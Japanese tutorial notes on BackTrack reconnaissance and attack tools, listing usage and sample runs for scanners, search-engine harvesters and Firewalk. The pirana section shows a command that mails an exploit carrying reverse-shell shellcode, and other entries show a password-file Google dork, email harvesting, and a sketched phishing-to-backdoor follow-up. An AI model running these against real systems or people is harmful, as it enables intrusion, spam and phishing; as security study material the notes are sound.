QGoogle

QGoogleは、コマンドラインからの検索ツールです。

Google SOAP Search APIのKeyが必要となるのですが、すでに公開停止されているんですよねぇ。
残念ですが、使えません。

MovableTypeの本読んでいたときに取得した気がするけど、さすがに残ってないし。
大学生の時だったかなぁ。歳とりました。

オプション

Usage: python googly.py

そんなこんなで、BackTrack3のベータ版では外されています。
似たような検索APIとしては、Google AJAX APIsがありますがサイト登録前提ですからねぇ。
WEB上での検索結果をコマンドに流してくれるようなラッパー探すしかないかな。

まぁ、ネットにつながっているのであれば、w3m使えばいいか。

protos

protosはIPプロトコルスキャナーです。
ターゲット上で動いているプロトコルをスキャンすることが可能です。

オプション

Usage: ./protos -i eth0 -d 10.1.2.3 -v
-v verbose
-V show which protocols are not supported
-u don't ping targets first
-s make the scan slow (for very remote devices)
-L show the long protocol name and it's reference (RFC)
-p x number of probes (default=5)
-S x sleeptime is x (default=1)
-a x continue scan afterwards for x seconds (default=3)
-d dest destination (IP or IP/MASK)
-i interface the eth0 stuff
-W don't scan, just print the protocol list

bt # protos -i eth0 -d 192.168.1.20
>>>>>>>> RESULTS >>>>>>>>>>

192.168.1.20 may be running (did not negate):
ICMP IGMP TCP UDP GRE

インターフェイスとターゲットを指定するだけです。
作業を遅くするなどターゲットにばれないようなオプションもあります。

VMWare上で動かしたOSやルーターなどに対してスキャンかけてみると勉強になるかもしれません。

pirana

piranaの使い方。

piranaは、SMTPのコンテンツフィルターをチェックするためのフレームワークです。

オプション

bt # ./pirana.pl
At least one mandatory option is missing...
Usage: pirana.pl [MANDATORY ARGS] [OPTIONAL ARGS]

Mandatory arguments:
-e+ Exploit number to use (See below)
-h+ SMTP server to test
-a+ Destination email address used in probing


Optional arguments:
-s+ Shellcode type to inject into exploits (See below)
-c+ Cloaking style (See below)
-d+ Try to vanish attachements from MUA's view (See below)
-v Attach EICAR virus to improve stealthness
-z Pack all the malware into a tarball to be less noisy
-p+ Port to use in reverse shell or bind shell
-l+ Host to connect back in reverse shell mode


Valid exploits numbers:
0 OSVDB #5753: LHA get_header File Name Overflow
1 OSVDB #5754: LHA get_header Directory Name Overflow
2 OSVDB #6456: file readelf.c tryelf() ELF Header Overflow
3 OSVDB #11695: unarj Filename Handling Overflow
4 OSVDB #23460: ZOO combine File and Dir name overflow
5 OSVDB #15867: Convert UUlib uunconc integer overflow
6 OSVDB #XXX: ZOO next offset infinite loop DoS


Valid shellcode types:
0 TCP reverse shell
1 UDP reverse shell
2 TCP bind shell


Valid cloaking styles (consult whitepaper for visual result):
0 No cloaking at all (default)
1 Viagra spam message
2 "Look at the pictures I promised you!"


Vanishing techniques for attachements:
0 No vanishing at all (default)
1 Multipart/alternative trick
2 trick

bt # ./pirana.pl -e 0 -h mail.sample.com -a masashi -s 0 -l 192.168.1.2 -p 1234
Generating shellcode in /tmp/raw ... Done!!!
Generating files ranging from offset 0xbfffa000 to 0xbfffffff
...................................................................
The email has been sent to yoshida through mail.sample.com
You should now have a shell on 192.168.1.2:1234 !!!

本気でテストできるメールサーバーがないのでそのうちちゃんと書き直します。
Metasploit frameworkからshellcode生成しているようだから、下手に扱うとサーバーフルボッコだからね。

Netenum

Netenumの使い方。

Netenumは、ターゲットとなるhostのリスト作成のためのツールです。
そのため他のツールと組み合わせて使うことになります。

オプション

bt # netenum
netenum [timeout] [verbosity]
if timeout is >0, pings are used to enum

bt # netenum 192.168.1.1/255.255.255.248
192.168.1.0
192.168.1.1
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.6
192.168.1.7


このようにリストがアウトプットされるので、パイプで他のプログラムへつなげるもよし、シェルスクリプトの中で使うのもよし。

itrace

itraceの使い方。

itraceは、ICMP echo requestを利用してターゲットまでのルートを調べることができます。
まぁ、基本はtracerouteと同じですね。

オプション

bt # itrace -i eth0 -d
itrace: option requires an argument -- d
Usage: itrace [-vn] [-pX] [-mX] [-tX] -i -d

  • v verbose
  • n reverse lookup IPs
  • pX send X probes (default=3)
  • mX maximum TTL (default=30)
  • tX timeout X sec (default=3)
  • i use this device
  • d trace to this destination

使い方

bt # itrace -i eth0 -d www.sample.com

インターフェイスとターゲットを指定します。
早いので忙しいときなどに利用するといいかも。

host

hostの使い方。

ホスト名とIPアドレスの変換をしてくれます。

オプション

bt # host
Usage: host [-aCdlriTwv] [-c class] [-N ndots] [-t type] [-W time] [-R number] hostname [server]

  • a is equivalent to -v -t *
  • c specifies query class for non-IN data
  • C compares SOA records on authoritative nameservers
  • d is equivalent to -v
  • l lists all hosts in a domain, using AXFR
  • i IP6.INT reverse lookups
  • N changes the number of dots allowed before root lookup is done
  • r disables recursive processing
  • R specifies number of retries for UDP packets
  • t specifies the query type
  • T enables TCP/IP mode
  • v enables verbose output
  • w specifies to wait forever for a reply
  • W specifies how long to wait for a reply
  • 4 use IPv4 query transport only
  • 6 use IPv6 query transport only

単純にホスト名かIPアドレスをいれるだけです。
-aつけるとコンパクトに情報がとれます。

gooscan

gooscanは、googleアプライアンス製品に対してコマンドラインから検索をかけられます。

まぁ日本だとウェブサイトにgoogleアプライアンス製品を導入しているところ少ないかもしれません。
導入事例などを参考にどうぞ。

管理者の人が、予期せずに秘密のファイルが検索対象になっていないかどうか調べる際に使うとよいですね。

簡単な使い方です。

gooscan <-q query | -i query_file> <-t target>
[-o output_file] [-p proxy:port] [-v] [-d]
[-s site] [-x xtra_appliance_fields]
----------------------------------------------------------------
(query) is a standard google query (EX: "intitle:index.of")
(query_file) is a list of google queries (see README)
(target) is the Google appliance/server
(output_file) is where the HTML-formatted list of results goes
(proxy:port) address:port of a valid HTTP proxy for bouncing
(site) restricts search to one domain, like microsoft.com
(xtra_appliance_fields) are required for appliance scans
-v turns on verbose mode
-d hex-encodes all non-alpha characters
Friendly example:
gooscan -t google.fda.gov -q food
-x "&client=FDA&site=FDA&output=xml_no_dtd&oe=&lr=&proxystylesheet=FDA"
Google terms-of-service violations:
gooscan -t www.google.com -q "linux"
gooscan -t www.google.com -q "linux" -s microsoft.com
gooscan -t www.google.com -f gdork.gs

検索キーワードをファイルから読み込んで、アウトプットしたりできます。
そのほかの使い方についてはREADMEに詳しく載っていますので熟読してみてください。

Googrape

Goograpeの使い方。

ghdb.txtにあるテキストを読み込んでGoogleから対象ファイルがあるかどうか探すツールのようですが。

bt # /pentest/enumeration/google/googrape-v.0.1
bt # googrape.py

Google GHDB Scanner v.0.1

Enter Domain:

ドメインを入れろと急かされるので、打ち込んでみると

=======================================
Google GHDB Results for sample.com:
=======================================

http://www.google.com/search?q=%22cacheserverreport+for%22+%22This+analysis+was+produced+by+calamaris%2+site%3Asample.com
Traceback (most recent call last):
File "./googrape.py", line 35, in
text = opener.open(request).read()
File "/usr/lib/python2.5/urllib2.py", line 380, in open
response = meth(req, response)
File "/usr/lib/python2.5/urllib2.py", line 491, in http_response
'http', request, response, code, msg, hdrs)
File "/usr/lib/python2.5/urllib2.py", line 418, in error
return self._call_chain(*args)
File "/usr/lib/python2.5/urllib2.py", line 353, in _call_chain
result = func(*args)
File "/usr/lib/python2.5/urllib2.py", line 499, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 403: Forbidden

Pyothonのモジュールがぶっ壊れているのかな?
よくわからん・・。

Google-search

Google-searchの使い方。

Google-searchはコマンドラインから検索かけられるツールのようです。

オプション

./google-search [options]
options:

  • h: this help menue
  • p: request google with a proxy. next argument must be the proxy

and the port in the following format "host:port"

  • m: next argument must be the count of results you want to see
  • V: prints versions info
  • r: prints only the results count and exit

examples:
./google-search "filetype:pwd inurl:service.pwd" -r # show results
./google-search "filetype:pwd inurl:service.pwd" -m 30 # print about 30 results

で、実際に試してみようとすると

bt # cd /pentest/enumeration/google/
bt # ./google-search sample


動かない・・。

Goog Mail Enum

Goog Mail Enumの使い方。

Goog Mail Enumは、サーチエンジンからある特定のドメインの検索結果からメールアドレスを収集するツールです。

オプション

usage: theharvester options

-d: domain to search
-l: limit the number of results to work with(msn goes from 50 to 50 results and google 100 to 100)
-b: search engine(google,msn)

example:./theharvester.py -d microsoft.com -l 500 -b google

早速使ってみましょう。結果はダミーです。

cd /pentest/enumeration/google
bt # ./goog-mail.py -d sample.com -b google

Searching for sample.com in google
========================================
Total results: 795
Limit: 100
Searching results: 0

Accounts found:
====================

No results were found
====================

Total results: 0

実際に一番脆弱なのは人間です。
アドレスを収集した後の流れとしては、さらにそのアドレスに関しての情報を集めて、言葉巧みにクライアントOSの脆弱性を狙ってバックドアなどを仕込んだサイトにアクセスさせる感じですかね。

150行程度のPythonスクリプトなので勉強にもいいかもしれないですね。

Firewalk

Firewalkの使い方。

Firewalkは、主に対象となるネットワークに対する予備調査に使われます。

ターゲット手前のゲートウェイが、どのレイヤー4プロトコルを通すのか調査できます。


実際の動作は二段階に分かれます。

Ramping Phase

  • tracerouteと同じような動作をすることにより、ターゲットまでのホップ数を数える。

Scanning Phase

  • Ramping Phaseで入手したホップ数を利用して、TTLを設定したTCP/UDPパケットを送信。ターゲットからのICMP_TIME_EXCEEDEDメッセージを分析し、ターゲットのゲートウェイがどのようなフィルタリングを設定しているのか推測する。


オプション

Firewalk 5.0 [gateway ACL scanner]
Usage : firewalk [options] target_gateway metric
[-d 0 - 65535] destination port to use (ramping phase)
[-h] program help
[-i device] interface
[-n] do not resolve IP addresses into hostnames
[-p TCP | UDP] firewalk protocol
[-r] strict RFC adherence
[-S x - y, z] port range to scan
[-s 0 - 65535] source port
[-T 1 - 1000] packet read timeout in ms
[-t 1 - 25] IP time to live
[-v] program version
[-x 1 - 8] expire vector

実際に使ってみたいのですが、ちょっとテスト環境がないのでサンプル的な結果を表示します。
対象ポートを53と80に設定して、TCPパケットを指定しています。

bt ~ # firewalk -n -S53,80 -pTCP Gateway_IP_address Target_IP_address
Firewalk 5.0 [gateway ACL scanner]
Firewalk state initialization completed successfully.
TCP-based scan.
Ramping phase source port: 53, destination port: 33434
Hotfoot through Gateway_IP_address using Target_IP_address as a metric.
Ramping Phase:
1 (TTL 1): expired [192.168.**.1]
2 (TTL 2): expired [*.*.*.*]
3 (TTL 3): expired [*.*.*.*]
4 (TTL 4): expired [*.*.*.*]
5 (TTL 5): expired [Gateway_IP_address]
Binding host reached.
Scan bound at 5 hops.
Scanning Phase:
port 53: A! open (port not listen) [Target_IP_address]
port 80: A! open (port listen) [Target_IP_address]

Scan completed successfully.

Total packets sent: 6
Total packet errors: 0
Total packets caught 6
Total packets caught of interest 6
Total ports scanned 2
Total ports open: 2
Total ports unknown: 0

ゲートウェイとターゲット用のグローバルアドレスがあって、色々設定いじれるファイアーウォールがあるとテストできそうですね。

自分の環境以外に対して使うのは絶対に避けてください。

Firewalkのサイトに資料があるので参考にどうぞ。

ちょっと古いですが、作者の書いたBuilding Open Source Network Security Tools: Components and Techniquesも参考にするといいかもしれません。

Finger Google

Finger Googleの使い方。

Finger Googleは、googleを利用して特定のドメインからアカウント名を探し出してくれるツールです。

bt # cd /pentest/enumeration/google/fingergoogle-1.1
bt # ./fingergoogle.py sample.com
Links a navegar: 2
/search?q=%40sample.com&num=20&hl=es&lr=&ie=UTF-8&as_qdr=all&start=0&sa=N&filter=0
"/search?q=%40sample.com&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=20&sa=N&filter=0"
To search: sample.com
admin
admin
Accounts found: 1
admin

ダミーの結果です。
単純にドメインを入れるだけなので、簡単にメールアドレスが収集できますね。
これで今日からあなたもスパマーの仲間入りです。

DNS Predictor

DNS Predictorの使い方。

DNS Predictorは、通常サーバーネームの付ける人の考えを上手く利用します。

とりあえず名前を付けなければならないときに、earthやmarsなどのように星の名前を使うこともあるかと思います。
星座、神話に登場する神、あるアニメのキャラなど、そのサーバー群を管理する人の趣味も伺えるかもしれません。

引数に二つの関連性のあるキーワード(例えばearthとmars)を入力すると、Google経由してVenus, Mercury, Jupiterなどの星に関するキーワードも調べた上で、さらにそのキーワード群をサブドメインにつけてサーバーを調べてくれます。

DNS Predictor by Jimmy Neutron 0.0.2

Argument Error

DNS Predict by JN

Syntax: dnspredic.pl

    • help : Shows this screen
    • domain : the domain to search (REQUIRED)
    • item1 : first argument for g00gle predict (REQUIRED)
    • item2 : second argument for g00gle predict (REQUIRED)
    • loglevel=level : The venbosity level
    • timeout=seconds : http timeout
    • file=filename : the output file for resolved hosts
    • dieonerror=int : if set to 1 (the tool dies on fatal erros) 0 overrides this behaviour
    • proxy=host:port : the proxy used for contacting g00gle

では実際に使ってみましょう。
いつも通りドメインやIPは架空のものです。

bt #cd /pentest/enumeration/google/dns-predict-v.0.0.2

bt #./dnspredict.pl --domain sample.com --item1 earth --item2 mars
DNS Predictor by Jimmy Neutron 0.0.2

Warning: You aren't using a proxy. Remeber that this program is doing a direct g00gle scraping
earth Resolving earth.sample.com 192.168.1.2
mars Resolving mars.sample.com -
jupiter Resolving jupiter.sample.com 192.168.1.5
venus Resolving venus.sample.com 192.168.1.56
saturn Resolving saturn.sample.com -
uranus Resolving uranus.sample.com -
mercury Resolving mercury.sample.com -
neptune Resolving neptune.sample.com -
pluto Resolving pluto.sample.com -

ドメインの調査ついでに関連する英単語も覚えられて便利ですね!
zeus,vinusとか引数を変えてみていろいろ試してみると面白いかもしれません。

サーバーに付けられやすい名前の規則とか目星を付けておくと後で役立つかも。

一応ソースに

for education purposes only

と書かれているのでそのように利用してください。

洋書ですが、Google Hacking for Penetration TestersというGoogleを利用したペネトレ本も出版されていますので参考にどうぞ。